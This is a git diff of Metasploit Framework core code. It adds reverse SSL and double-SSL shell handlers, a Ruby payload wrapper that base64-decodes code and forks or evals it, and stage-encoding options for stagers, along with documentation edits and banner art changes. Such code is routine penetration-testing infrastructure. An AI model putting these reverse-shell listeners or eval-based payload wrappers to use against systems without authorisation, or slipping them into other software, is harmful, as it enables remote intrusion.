|
||||
return nil
|
||||
end
|
||||
|
||||
# Increment the has connection counter
|
||||
self.pending_connections += 1
|
||||
|
||||
# Start a new thread and pass the client connection
|
||||
# as the input and output pipe. Client's are expected
|
||||
# to implement the Stream interface.
|
||||
conn_threads << framework.threads.spawn("ReverseTcpDoubleSSLHandlerSession", false, sock_inp, sock_out) { | sock_inp_copy, sock_out_copy|
|
||||
begin
|
||||
chan = TcpReverseDoubleSSLSessionChannel.new(framework, sock_inp_copy, sock_out_copy)
|
||||
handle_connection(chan.lsock)
|
||||
rescue
|
||||
elog("Exception raised from handle_connection: #{$!}\n\n#{$@.join("\n")}")
|
||||
end
|
||||
}
|
||||
end while true
|
||||
}
|
||||
end
|
||||
|
||||
#
|
||||
# Accept two sockets and determine which one is the input and which
|
||||
# is the output. This method assumes that these sockets pipe to a
|
||||
# remote shell, it should overridden if this is not the case.
|
||||
#
|
||||
def detect_input_output(sock_a, sock_b)
|
||||
|
||||
begin
|
||||
|
||||
# Flush any pending socket data
|
||||
sock_a.get_once if sock_a.has_read_data?(0.25)
|
||||
sock_b.get_once if sock_b.has_read_data?(0.25)
|
||||
|
||||
etag = Rex::Text.rand_text_alphanumeric(16)
|
||||
echo = "echo #{etag};\n"
|
||||
|
||||
print_status("Command: #{echo.strip}")
|
||||
|
||||
print_status("Writing to socket A")
|
||||
sock_a.put(echo)
|
||||
|
||||
print_status("Writing to socket B")
|
||||
sock_b.put(echo)
|
||||
|
||||
print_status("Reading from sockets...")
|
||||
|
||||
resp_a = ''
|
||||
resp_b = ''
|
||||
|
||||
if (sock_a.has_read_data?(1))
|
||||
print_status("Reading from socket A")
|
||||
resp_a = sock_a.get_once
|
||||
print_status("A: #{resp_a.inspect}")
|
||||
end
|
||||
|
||||
if (sock_b.has_read_data?(1))
|
||||
print_status("Reading from socket B")
|
||||
resp_b = sock_b.get_once
|
||||
print_status("B: #{resp_b.inspect}")
|
||||
end
|
||||
|
||||
print_status("Matching...")
|
||||
if (resp_b.match(etag))
|
||||
print_status("A is input...")
|
||||
return sock_a, sock_b
|
||||
else
|
||||
print_status("B is input...")
|
||||
return sock_b, sock_a
|
||||
end
|
||||
|
||||
rescue ::Exception
|
||||
print_status("Caught exception in detect_input_output: #{$!}")
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
#
|
||||
# Stops monitoring for an inbound connection.
|
||||
#
|
||||
def stop_handler
|
||||
# Terminate the listener thread
|
||||
if (self.listener_thread and self.listener_thread.alive? == true)
|
||||
self.listener_thread.kill
|
||||
self.listener_thread = nil
|
||||
end
|
||||
|
||||
if (self.listener_sock)
|
||||
self.listener_sock.close
|
||||
self.listener_sock = nil
|
||||
end
|
||||
end
|
||||
|
||||
protected
|
||||
|
||||
attr_accessor :listener_sock # :nodoc:
|
||||
attr_accessor :listener_thread # :nodoc:
|
||||
attr_accessor :conn_threads # :nodoc:
|
||||
|
||||
|
||||
module TcpReverseDoubleSSLChannelExt
|
||||
attr_accessor :localinfo
|
||||
attr_accessor :peerinfo
|
||||
end
|
||||
|
||||
###
|
||||
#
|
||||
# This class wrappers the communication channel built over the two inbound
|
||||
# connections, allowing input and output to be split across both.
|
||||
#
|
||||
###
|
||||
class TcpReverseDoubleSSLSessionChannel
|
||||
|
||||
include Rex::IO::StreamAbstraction
|
||||
|
||||
def initialize(framework, inp, out)
|
||||
@framework = framework
|
||||
@sock_inp = inp
|
||||
@sock_out = out
|
||||
|
||||
initialize_abstraction
|
||||
|
||||
self.lsock.extend(TcpReverseDoubleSSLChannelExt)
|
||||
self.lsock.peerinfo = @sock_inp.getpeername[1,2].map{|x| x.to_s}.join(":")
|
||||
self.lsock.localinfo = @sock_inp.getsockname[1,2].map{|x| x.to_s}.join(":")
|
||||
|
||||
monitor_shell_stdout
|
||||
end
|
||||
|
||||
#
|
||||
# Funnel data from the shell's stdout to +rsock+
|
||||
#
|
||||
# +StreamAbstraction#monitor_rsock+ will deal with getting data from
|
||||
# the client (user input). From there, it calls our write() below,
|
||||
# funneling the data to the shell's stdin on the other side.
|
||||
#
|
||||
def monitor_shell_stdout
|
||||
|
||||
# Start a thread to pipe data between stdin/stdout and the two sockets
|
||||
@monitor_thread = @framework.threads.spawn("ReverseTcpDoubleSSLHandlerMonitor", false) {
|
||||
begin
|
||||
while true
|
||||
# Handle data from the server and write to the client
|
||||
if (@sock_out.has_read_data?(0.50))
|
||||
buf = @sock_out.get_once
|
||||
break if buf.nil?
|
||||
rsock.put(buf)
|
||||
end
|
||||
end
|
||||
rescue ::Exception => e
|
||||
ilog("ReverseTcpDoubleSSL monitor thread raised #{e.class}: #{e}")
|
||||
end
|
||||
|
||||
# Clean up the sockets...
|
||||
begin
|
||||
@sock_inp.close
|
||||
@sock_out.close
|
||||
rescue ::Exception
|
||||
end
|
||||
}
|
||||
end
|
||||
|
||||
def write(buf, opts={})
|
||||
@sock_inp.write(buf, opts)
|
||||
end
|
||||
|
||||
def read(length=0, opts={})
|
||||
@sock_out.read(length, opts)
|
||||
end
|
||||
|
||||
#
|
||||
# Closes the stream abstraction and kills the monitor thread.
|
||||
#
|
||||
def close
|
||||
@monitor_thread.kill if (@monitor_thread)
|
||||
@monitor_thread = nil
|
||||
|
||||
cleanup_abstraction
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
|
@ -0,0 +1,124 @@
|
|||
require 'rex/socket'
|
||||
require 'thread'
|
||||
|
||||
require 'msf/core/handler/reverse_tcp'
|
||||
|
||||
module Msf
|
||||
module Handler
|
||||
|
||||
###
|
||||
#
|
||||
# This module implements the reverse TCP handler. This means
|
||||
# that it listens on a port waiting for a connection until
|
||||
# either one is established or it is told to abort.
|
||||
#
|
||||
# This handler depends on having a local host and port to
|
||||
# listen on.
|
||||
#
|
||||
###
|
||||
module ReverseTcpSsl
|
||||
|
||||
include Msf::Handler::ReverseTcp
|
||||
|
||||
#
|
||||
# Returns the string representation of the handler type, in this case
|
||||
# 'reverse_tcp_ssl'.
|
||||
#
|
||||
def self.handler_type
|
||||
return "reverse_tcp_ssl"
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the connection-described general handler type, in this case
|
||||
# 'reverse'.
|
||||
#
|
||||
def self.general_handler_type
|
||||
"reverse"
|
||||
end
|
||||
|
||||
#
|
||||
# Initializes the reverse TCP SSL handler and adds the certificate option.
|
||||
#
|
||||
def initialize(info = {})
|
||||
super
|
||||
register_advanced_options(
|
||||
[
|
||||
OptPath.new('SSLCert', [ false, 'Path to a custom SSL certificate (default is randomly generated)'])
|
||||
], Msf::Handler::ReverseTcpSsl)
|
||||
|
||||
end
|
||||
|
||||
#
|
||||
# Starts the listener but does not actually attempt
|
||||
# to accept a connection. Throws socket exceptions
|
||||
# if it fails to start the listener.
|
||||
#
|
||||
def setup_handler
|
||||
if datastore['Proxies']
|
||||
raise RuntimeError, 'TCP connect-back payloads cannot be used with Proxies'
|
||||
end
|
||||
|
||||
ex = false
|
||||
# Switch to IPv6 ANY address if the LHOST is also IPv6
|
||||
addr = Rex::Socket.resolv_nbo(datastore['LHOST'])
|
||||
# First attempt to bind LHOST. If that fails, the user probably has
|
||||
# something else listening on that interface. Try again with ANY_ADDR.
|
||||
any = (addr.length == 4) ? "0.0.0.0" : "::0"
|
||||
|
||||
addrs = [ Rex::Socket.addr_ntoa(addr), any ]
|
||||
|
||||
comm = datastore['ReverseListenerComm']
|
||||
if comm.to_s == "local"
|
||||
comm = ::Rex::Socket::Comm::Local
|
||||
else
|
||||
comm = nil
|
||||
end
|
||||
|
||||
if not datastore['ReverseListenerBindAddress'].to_s.empty?
|
||||
# Only try to bind to this specific interface
|
||||
addrs = [ datastore['ReverseListenerBindAddress'] ]
|
||||
|
||||
# Pick the right "any" address if either wildcard is used
|
||||
addrs[0] = any if (addrs[0] == "0.0.0.0" or addrs == "::0")
|
||||
end
|
||||
addrs.each { |ip|
|
||||
begin
|
||||
|
||||
comm.extend(Rex::Socket::SslTcp)
|
||||
self.listener_sock = Rex::Socket::SslTcpServer.create(
|
||||
'LocalHost' => datastore['LHOST'],
|
||||
'LocalPort' => datastore['LPORT'].to_i,
|
||||
'Comm' => comm,
|
||||
'SSLCert' => datastore['SSLCert'],
|
||||
'Context' =>
|
||||
{
|
||||
'Msf' => framework,
|
||||
'MsfPayload' => self,
|
||||
'MsfExploit' => assoc_exploit
|
||||
})
|
||||
|
||||
ex = false
|
||||
|
||||
comm_used = comm || Rex::Socket::SwitchBoard.best_comm( ip )
|
||||
comm_used = Rex::Socket::Comm::Local if comm_used == nil
|
||||
|
||||
if( comm_used.respond_to?( :type ) and comm_used.respond_to?( :sid ) )
|
||||
via = "via the #{comm_used.type} on session #{comm_used.sid}"
|
||||
else
|
||||
via = ""
|
||||
end
|
||||
|
||||
print_status("Started reverse SSL handler on #{ip}:#{datastore['LPORT']} #{via}")
|
||||
break
|
||||
rescue
|
||||
ex = $!
|
||||
print_error("Handler failed to bind to #{ip}:#{datastore['LPORT']}")
|
||||
end
|
||||
}
|
||||
raise ex if (ex)
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
|
@ -479,4 +479,20 @@ class Msf::Module::Platform
|
|||
Rank = 100
|
||||
Alias = "php"
|
||||
end
|
||||
|
||||
#
|
||||
# JavaScript
|
||||
#
|
||||
class JavaScript < Msf::Module::Platform
|
||||
Rank = 100
|
||||
Alias = "js"
|
||||
end
|
||||
|
||||
#
|
||||
# Python
|
||||
#
|
||||
class Python < Msf::Module::Platform
|
||||
Rank = 100
|
||||
Alias = "python"
|
||||
end
|
||||
end
|
||||
|
|
|
@ -35,15 +35,14 @@ module Msf::Payload::Java
|
|||
end
|
||||
|
||||
#
|
||||
# Used by stagers to create a jar file as a Rex::Zip::Jar. Stagers define
|
||||
# a list of class files in @class_files which are pulled from
|
||||
# Msf::Config.data_directory. The configuration file is created by the
|
||||
# payload's #config method.
|
||||
#
|
||||
# +opts+ can include:
|
||||
# +:main_class+:: the name of the Main-Class attribute in the manifest.
|
||||
# Defaults to "metasploit.Payload"
|
||||
# Used by stagers to create a jar file as a {Rex::Zip::Jar}. Stagers
|
||||
# define a list of class files in @class_files which are pulled from
|
||||
# {Msf::Config.data_directory}. The configuration file is created by
|
||||
# the payload's #config method.
|
||||
#
|
||||
# @option opts :main_class [String] the name of the Main-Class
|
||||
# attribute in the manifest. Defaults to "metasploit.Payload"
|
||||
# @return [Rex::Zip::Jar]
|
||||
def generate_jar(opts={})
|
||||
raise if not respond_to? :config
|
||||
# Allow changing the jar's Main Class in the manifest so wrappers
|
||||
|
@ -63,12 +62,12 @@ module Msf::Payload::Java
|
|||
end
|
||||
|
||||
#
|
||||
# Like #generate_jar, this method is used by stagers to create a war file
|
||||
# Like {#generate_jar}, this method is used by stagers to create a war file
|
||||
# as a Rex::Zip::Jar object.
|
||||
#
|
||||
# +opts+ can include:
|
||||
# +:app_name+:: the name of the \<servlet-name> attribute in the web.xml.
|
||||
# Defaults to "NAME"
|
||||
# @param opts [Hash]
|
||||
# @option :app_name [String] Name of the \<servlet-name> attribute in the
|
||||
# web.xml. Defaults to random
|
||||
#
|
||||
def generate_war(opts={})
|
||||
raise if not respond_to? :config
|
||||
|
|
|
@ -0,0 +1,39 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'msf/core'
|
||||
|
||||
module Msf::Payload::Ruby
|
||||
|
||||
def initialize(info = {})
|
||||
super(info)
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
# Since space restrictions aren't really a problem, default this to
|
||||
# true.
|
||||
Msf::OptBool.new('PrependFork', [ false, "Start the payload in its own process via fork or popen", "true" ])
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def prepends(buf)
|
||||
if datastore['PrependFork']
|
||||
buf = %Q^
|
||||
code = %(#{ Rex::Text.encode_base64(buf) }).unpack(%(m0)).first
|
||||
if RUBY_PLATFORM =~ /mswin|mingw|win32/
|
||||
inp = IO.popen(%(ruby), %(wb)) rescue nil
|
||||
if inp
|
||||
inp.write(code)
|
||||
inp.close
|
||||
end
|
||||
else
|
||||
if ! Process.fork()
|
||||
eval(code) rescue nil
|
||||
end
|
||||
end
|
||||
^.strip.split(/\n/).map{|line| line.strip}.join("\n")
|
||||
end
|
||||
|
||||
buf
|
||||
end
|
||||
|
||||
end
|
|
@ -1,5 +1,6 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'msf/core'
|
||||
require 'msf/core/option_container'
|
||||
|
||||
###
|
||||
#
|
||||
|
@ -8,6 +9,17 @@ require 'msf/core'
|
|||
###
|
||||
module Msf::Payload::Stager
|
||||
|
||||
def initialize(info={})
|
||||
super
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
Msf::OptBool.new("EnableStageEncoding", [ false, "Encode the second stage payload", false ]),
|
||||
Msf::OptString.new("StageEncoder", [ false, "Encoder to use if EnableStageEncoding is set", nil ]),
|
||||
], Msf::Payload::Stager)
|
||||
|
||||
end
|
||||
|
||||
#
|
||||
# Sets the payload type to a stager.
|
||||
#
|
||||
|
@ -18,6 +30,9 @@ module Msf::Payload::Stager
|
|||
#
|
||||
# Return the stager payload's raw payload.
|
||||
#
|
||||
# Can be nil if the stager is not pre-assembled.
|
||||
#
|
||||
# @return [String,nil]
|
||||
def payload
|
||||
return module_info['Stager']['Payload']
|
||||
end
|
||||
|
@ -25,6 +40,7 @@ module Msf::Payload::Stager
|
|||
#
|
||||
# Return the stager payload's assembly text, if any.
|
||||
#
|
||||
# @return [String,nil]
|
||||
def assembly
|
||||
return module_info['Stager']['Assembly']
|
||||
end
|
||||
|
@ -32,6 +48,9 @@ module Msf::Payload::Stager
|
|||
#
|
||||
# Return the stager payload's offsets.
|
||||
#
|
||||
# These will be used for substitutions during stager generation.
|
||||
#
|
||||
# @return [Hash]
|
||||
def offsets
|
||||
return module_info['Stager']['Offsets']
|
||||
end
|
||||
|
@ -39,6 +58,9 @@ module Msf::Payload::Stager
|
|||
#
|
||||
# Returns the raw stage payload.
|
||||
#
|
||||
# Can be nil if the final stage is not pre-assembled.
|
||||
#
|
||||
# @return [String,nil]
|
||||
def stage_payload
|
||||
return module_info['Stage']['Payload']
|
||||
end
|
||||
|
@ -46,6 +68,7 @@ module Msf::Payload::Stager
|
|||
#
|
||||
# Returns the assembly text of the stage payload.
|
||||
#
|
||||
# @return [String]
|
||||
def stage_assembly
|
||||
return module_info['Stage']['Assembly']
|
||||
end
|
||||
|
@ -53,6 +76,10 @@ module Msf::Payload::Stager
|
|||
#
|
||||
# Returns variable offsets within the stage payload.
|
||||
#
|
||||
# These will be used for substitutions during generation of the final
|
||||
# stage.
|
||||
#
|
||||
# @return [Hash]
|
||||
def stage_offsets
|
||||
return module_info['Stage']['Offsets']
|
||||
end
|
||||
|
@ -65,9 +92,20 @@ module Msf::Payload::Stager
|
|||
true
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Whether to use an Encoder on the second stage
|
||||
#
|
||||
# @return [Boolean]
|
||||
def encode_stage?
|
||||
# Convert to string in case it hasn't been normalized
|
||||
!!(datastore['EnableStageEncoding'].to_s == "true")
|
||||
end
|
||||
|
||||
#
|
||||
# Generates the stage payload and substitutes all offsets.
|
||||
#
|
||||
# @return [String] The generated payload stage, as a string.
|
||||
def generate_stage
|
||||
# Compile the stage as necessary
|
||||
p = build(stage_payload, stage_assembly, stage_offsets, '-stg1')
|
||||
|
@ -75,21 +113,23 @@ module Msf::Payload::Stager
|
|||
# Substitute variables in the stage
|
||||
substitute_vars(p, stage_offsets) if (stage_offsets)
|
||||
|
||||
# Encode the stage of stage encoding is enabled
|
||||
#p = encode_stage(p)
|
||||
|
||||
return p
|
||||
end
|
||||
|
||||
#
|
||||
# Transmit the associated stage.
|
||||
#
|
||||
# @param (see handle_connection_stage)
|
||||
# @return (see handle_connection_stage)
|
||||
def handle_connection(conn, opts={})
|
||||
# If the stage should be sent over the client connection that is
|
||||
# established (which is the default), then go ahead and transmit it.
|
||||
if (stage_over_connection?)
|
||||
p = generate_stage
|
||||
|
||||
# Encode the stage if stage encoding is enabled
|
||||
p = encode_stage(p)
|
||||
|
||||
# Give derived classes an opportunity to an intermediate state before
|
||||
# the stage is sent. This gives derived classes an opportunity to
|
||||
# augment the stage and the process through which it is read on the
|
||||
|
@ -101,14 +141,15 @@ module Msf::Payload::Stager
|
|||
p = (self.stage_prefix || '') + p
|
||||
end
|
||||
|
||||
sending_msg = "Sending #{encode_stage? ? "encoded ":""}stage"
|
||||
sending_msg << " (#{p.length} bytes)"
|
||||
# The connection should always have a peerhost (even if it's a
|
||||
# tunnel), but if it doesn't, erroring out here means losing the
|
||||
# session, so make sure it does, just to be safe.
|
||||
if conn.respond_to? :peerhost
|
||||
print_status("Sending stage (#{p.length} bytes) to #{conn.peerhost}")
|
||||
else
|
||||
print_status("Sending stage (#{p.length} bytes)")
|
||||
sending_msg << " to #{conn.peerhost}"
|
||||
end
|
||||
print_status(sending_msg)
|
||||
|
||||
# Send the stage
|
||||
conn.put(p)
|
||||
|
@ -128,10 +169,15 @@ module Msf::Payload::Stager
|
|||
end
|
||||
|
||||
#
|
||||
# Called by handle_connection to allow the stage to process
|
||||
# whatever it is it needs to process. The default is to simply attempt to
|
||||
# create a session.
|
||||
# Allow the stage to process whatever it is it needs to process.
|
||||
#
|
||||
# Override to deal with sending the final stage in cases where
|
||||
# {#generate_stage} is not the whole picture, such as when uploading
|
||||
# an executable. The default is to simply attempt to create a session
|
||||
# on the given +conn+ socket with {Msf::Handler#create_session}.
|
||||
#
|
||||
# @param (see Handler#create_session)
|
||||
# @return (see Handler#create_session)
|
||||
def handle_connection_stage(conn, opts={})
|
||||
create_session(conn, opts)
|
||||
end
|
||||
|
@ -145,18 +191,25 @@ module Msf::Payload::Stager
|
|||
end
|
||||
|
||||
# Encodes the stage prior to transmission
|
||||
# @return [String] Encoded version of +stg+
|
||||
def encode_stage(stg)
|
||||
return stg unless encode_stage?
|
||||
|
||||
# If DisableStageEncoding is set, we do not encode the stage
|
||||
return stg if datastore['DisableStageEncoding'] =~ /^(y|1|t)/i
|
||||
if datastore["StageEncoder"].nil? or datastore["StageEncoder"].empty?
|
||||
stage_enc_mod = nil
|
||||
else
|
||||
stage_enc_mod = datastore["StageEncoder"]
|
||||
end
|
||||
|
||||
# Generate an encoded version of the stage. We tell the encoding system
|
||||
# to save edi to ensure that it does not get clobbered.
|
||||
encp = Msf::EncodedPayload.create(
|
||||
self,
|
||||
'Raw' => stg,
|
||||
'Encoder' => stage_enc_mod,
|
||||
'SaveRegisters' => ['edi'],
|
||||
'ForceEncode' => true)
|
||||
print_status("Encoded stage with #{encp.encoder.refname}")
|
||||
|
||||
# If the encoding succeeded, use the encoded buffer. Otherwise, fall
|
||||
# back to using the non-encoded stage
|
||||
|
|
|
@ -274,7 +274,7 @@ module Msf::Post::File
|
|||
end
|
||||
|
||||
#
|
||||
# Read a local file +local+ and write it as +remote+ on the remote file
|
||||
# Read a local file +local+ and write it as +remote+ on the remote file
|
||||
# system
|
||||
#
|
||||
def upload_file(remote, local)
|
||||
|
@ -304,7 +304,7 @@ module Msf::Post::File
|
|||
#
|
||||
def rename_file(new_file, old_file)
|
||||
#TODO: this is not ideal as the file contents are sent to meterp server and back to the client
|
||||
write_file(new_file, read_file(old_file))
|
||||
write_file(new_file, read_file(old_file))
|
||||
rm_f(old_file)
|
||||
end
|
||||
alias :move_file :rename_file
|
||||
|
@ -315,7 +315,7 @@ protected
|
|||
# Meterpreter-specific file read. Returns contents of remote file
|
||||
# +file_name+ as a String or nil if there was an error
|
||||
#
|
||||
# You should never call this method directly. Instead, call #read_file
|
||||
# You should never call this method directly. Instead, call {#read_file}
|
||||
# which will call this if it is appropriate for the given session.
|
||||
#
|
||||
def _read_file_meterpreter(file_name)
|
||||
|
|
|
@ -10,301 +10,52 @@ module Ui
|
|||
module Banner
|
||||
|
||||
Logos =
|
||||
[
|
||||
%Q{
|
||||
%whiCall trans opt: received. 2-19-98 13:24:18 REC:Loc
|
||||
|
||||
Trace program: running
|
||||
|
||||
wake up, Neo...
|
||||
%bldthe matrix has you%clr
|
||||
follow the white rabbit.
|
||||
|
||||
knock, knock, Neo.
|
||||
|
||||
(`. ,-,
|
||||
` `. ,;' /
|
||||
`. ,'/ .'
|
||||
`. X /.'
|
||||
.-;--''--.._` ` (
|
||||
.' / `
|
||||
, ` ' Q '
|
||||
, , `._ \\
|
||||
,.| ' `-.;_'
|
||||
: . ` ; ` ` --,.._;
|
||||
' ` , ) .'
|
||||
`._ , ' /_
|
||||
; ,''-,;' ``-
|
||||
``-..__``--`
|
||||
%clr},
|
||||
|
||||
%Q{%whi
|
||||
_---------.
|
||||
.' ####### ;."
|
||||
.---,. ;@ @@`; .---,..
|
||||
." @@@@@'.,'@@ @@@@@',.'@@@@ ".
|
||||
'-.@@@@@@@@@@@@@ @@@@@@@@@@@@@ @;
|
||||
`.@@@@@@@@@@@@ @@@@@@@@@@@@@@ .'
|
||||
"--'.@@@ -.@ @ ,'- .'--"
|
||||
".@' ; @ @ `. ;'
|
||||
|@@@@ @@@ @ .
|
||||
' @@@ @@ @@ ,
|
||||
`.@@@@ @@ .
|
||||
',@@ @ ; _____________
|
||||
( 3 C ) /|___ / Metasploit! \\
|
||||
;@'. __*__,." \\|--- \\_____________/
|
||||
'(.,...."/
|
||||
%clr},
|
||||
'
|
||||
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
|
||||
%% %%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
|
||||
%% %% %%%%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
|
||||
%% % %%%%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
|
||||
%% %% %%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
|
||||
%% %%%%%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
|
||||
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
|
||||
%%%%% %%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
|
||||
%%%% %% %%%%%%%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %%% %%%%%
|
||||
%%%% %% %% % %% %% %%%%% % %%%% %% %%%%%% %%
|
||||
%%%% %% %% % %%% %%%% %%%% %% %%%% %%%% %% %% %% %%% %% %%% %%%%%
|
||||
%%%% %%%%%% %% %%%%%% %%%% %%% %%%% %% %% %%% %%% %% %% %%%%%
|
||||
%%%%%%%%%%%% %%%% %%%%% %% %% % %% %%%% %%%% %%% %%% %
|
||||
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %%%%%%% %%%%%%%%%%%%%%
|
||||
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %%%%%%%%%%%%%%
|
||||
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
|
||||
',
|
||||
'
|
||||
_ _
|
||||
/ \ /\ __ _ __ /_/ __
|
||||
| |\ / | _____ \ \ ___ _____ | | / \ _ \ \
|
||||
| | \/| | | ___\ |- -| /\ / __\ | -__/ | || | || | |- -|
|
||||
|_| | | | _|__ | |_ / -\ __\ \ | | | | \__/| | | |_
|
||||
|/ |____/ \___\/ /\ \\\\___/ \/ \__| |_\ \___\
|
||||
',
|
||||
%Q{
|
||||
%whiIIIIII %reddTb.dTb%clr _.---._
|
||||
%whi II %red4' v 'B%clr .'"".'/|\`.""'.
|
||||
%whi II %red6. .P%clr : .' / | \ `. :
|
||||
%whi II %red'T;. .;P'%clr '.' / | \ `.'
|
||||
%whi II %red'T; ;P'%clr `. / | \ .'
|
||||
%whiIIIIII %red'YvP'%clr `-.__|__.-'
|
||||
|
||||
I love shells --egypt
|
||||
},
|
||||
'
|
||||
, ,
|
||||
/ \
|
||||
((__---,,,---__))
|
||||
(_) O O (_)_________
|
||||
\ _ / |\
|
||||
o_o \ M S F | \
|
||||
\ _____ | *
|
||||
||| WW|||
|
||||
||| |||
|
||||
',
|
||||
'
|
||||
# cowsay++
|
||||
____________
|
||||
< metasploit >
|
||||
------------
|
||||
\ ,__,
|
||||
\ (oo)____
|
||||
(__) )\
|
||||
||--|| *
|
||||
',
|
||||
|
||||
|
||||
'%clr
|
||||
______________________________________________________________________________
|
||||
| |
|
||||
| %bld3Kom SuperHack II Logon%clr |
|
||||
|______________________________________________________________________________|
|
||||
| |
|
||||
| |
|
||||
| |
|
||||
| User Name: [ %redsecurity%clr ] |
|
||||
| |
|
||||
| Password: [ ] |
|
||||
| |
|
||||
| |
|
||||
| |
|
||||
| %bld[ OK ]%clr |
|
||||
|______________________________________________________________________________|
|
||||
| |
|
||||
|______________________________________________________________________________|
|
||||
%clr
|
||||
',
|
||||
|
||||
|
||||
'%clr
|
||||
______________________________________________________________________________
|
||||
| |
|
||||
| %bld%grnMETASPLOIT CYBER MISSILE COMMAND V4%clr |
|
||||
|______________________________________________________________________________|
|
||||
%yel\%clr %yel/%clr %yel/%clr
|
||||
%yel\%clr . %yel/%clr %yel/%clr x
|
||||
%yel\%clr %yel/%clr %yel/%clr
|
||||
%yel\%clr %yel/%clr + %yel/%clr
|
||||
%yel\%clr + %yel/%clr %yel/%clr
|
||||
* %yel/%clr %yel/%clr
|
||||
%yel/%clr . %yel/%clr
|
||||
X %yel/%clr %yel/%clr X
|
||||
%yel/%clr %red###%clr
|
||||
%yel/%clr %red# %bld%%clr%red #%clr
|
||||
%yel/%clr %red###%clr
|
||||
. %yel/%clr
|
||||
. %yel/%clr . %red*%clr .
|
||||
%yel/%clr
|
||||
*
|
||||
+ %red*%clr
|
||||
|
||||
%bld^%clr
|
||||
#### __ __ __ ####### __ __ __ ####
|
||||
#### %yel/%clr %yel\%clr %yel/%clr %yel\%clr %yel/%clr %yel\%clr ########### %yel/%clr %yel\%clr %yel/%clr %yel\%clr %yel/%clr %yel\%clr ####
|
||||
################################################################################
|
||||
################################################################################
|
||||
# %bldWAVE 4%clr ######## %bldSCORE 31337%clr ################################## %bldHIGH FFFFFFFF%clr #
|
||||
################################################################################
|
||||
%clr
|
||||
',
|
||||
|
||||
|
||||
'
|
||||
%clr%whi
|
||||
Unable to handle kernel NULL pointer dereference at virtual address 0xd34db33f
|
||||
EFLAGS: 00010046
|
||||
eax: 00000001 ebx: f77c8c00 ecx: 00000000 edx: f77f0001
|
||||
esi: 803bf014 edi: 8023c755 ebp: 80237f84 esp: 80237f60
|
||||
ds: 0018 es: 0018 ss: 0018
|
||||
Process Swapper (Pid: 0, process nr: 0, stackpage=80377000)
|
||||
|
||||
%bld
|
||||
Stack: 90909090990909090990909090
|
||||
90909090990909090990909090
|
||||
90909090.90909090.90909090
|
||||
90909090.90909090.90909090
|
||||
90909090.90909090.09090900
|
||||
90909090.90909090.09090900
|
||||
..........................
|
||||
cccccccccccccccccccccccccc
|
||||
cccccccccccccccccccccccccc
|
||||
ccccccccc.................
|
||||
cccccccccccccccccccccccccc
|
||||
cccccccccccccccccccccccccc
|
||||
.................ccccccccc
|
||||
cccccccccccccccccccccccccc
|
||||
cccccccccccccccccccccccccc
|
||||
..........................
|
||||
ffffffffffffffffffffffffff
|
||||
ffffffff..................
|
||||
ffffffffffffffffffffffffff
|
||||
ffffffff..................
|
||||
ffffffff..................
|
||||
ffffffff..................
|
||||
%clr
|
||||
|
||||
%yelCode: 00 00 00 00 M3 T4 SP L0 1T FR 4M 3W OR K! V3 R5 I0 N4 00 00 00 00%clr
|
||||
Aiee, Killing Interrupt handler
|
||||
%redKernel panic: Attempted to kill the idle task!
|
||||
In swapper task - not syncing
|
||||
%clr
|
||||
',
|
||||
'
|
||||
%clr
|
||||
%bluMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM%clr
|
||||
%bluMMMMMMMMMMM MMMMMMMMMM%clr
|
||||
%bluMMMN$ vMMMM%clr
|
||||
%bluMMMNl%clr %bldMMMMM MMMMM%clr %bluJMMMM%clr
|
||||
%bluMMMNl%clr %bldMMMMMMMN NMMMMMMM%clr %bluJMMMM%clr
|
||||
%bluMMMNl%clr %bldMMMMMMMMMNmmmNMMMMMMMMM%clr %bluJMMMM%clr
|
||||
%bluMMMNI%clr %bldMMMMMMMMMMMMMMMMMMMMMMM%clr %blujMMMM%clr
|
||||
%bluMMMNI%clr %bldMMMMMMMMMMMMMMMMMMMMMMM%clr %blujMMMM%clr
|
||||
%bluMMMNI%clr %bldMMMMM MMMMMMM MMMMM%clr %blujMMMM%clr
|
||||
%bluMMMNI%clr %bldMMMMM MMMMMMM MMMMM%clr %blujMMMM%clr
|
||||
%bluMMMNI%clr %bldMMMNM MMMMMMM MMMMM%clr %blujMMMM%clr
|
||||
%bluMMMNI%clr %bldWMMMM MMMMMMM MMMM#%clr %bluJMMMM%clr
|
||||
%bluMMMMR%clr %bld?MMNM MMMMM%clr %blu.dMMMM%clr
|
||||
%bluMMMMNm%clr %bld`?MMM MMMM`%clr %bludMMMMM%clr
|
||||
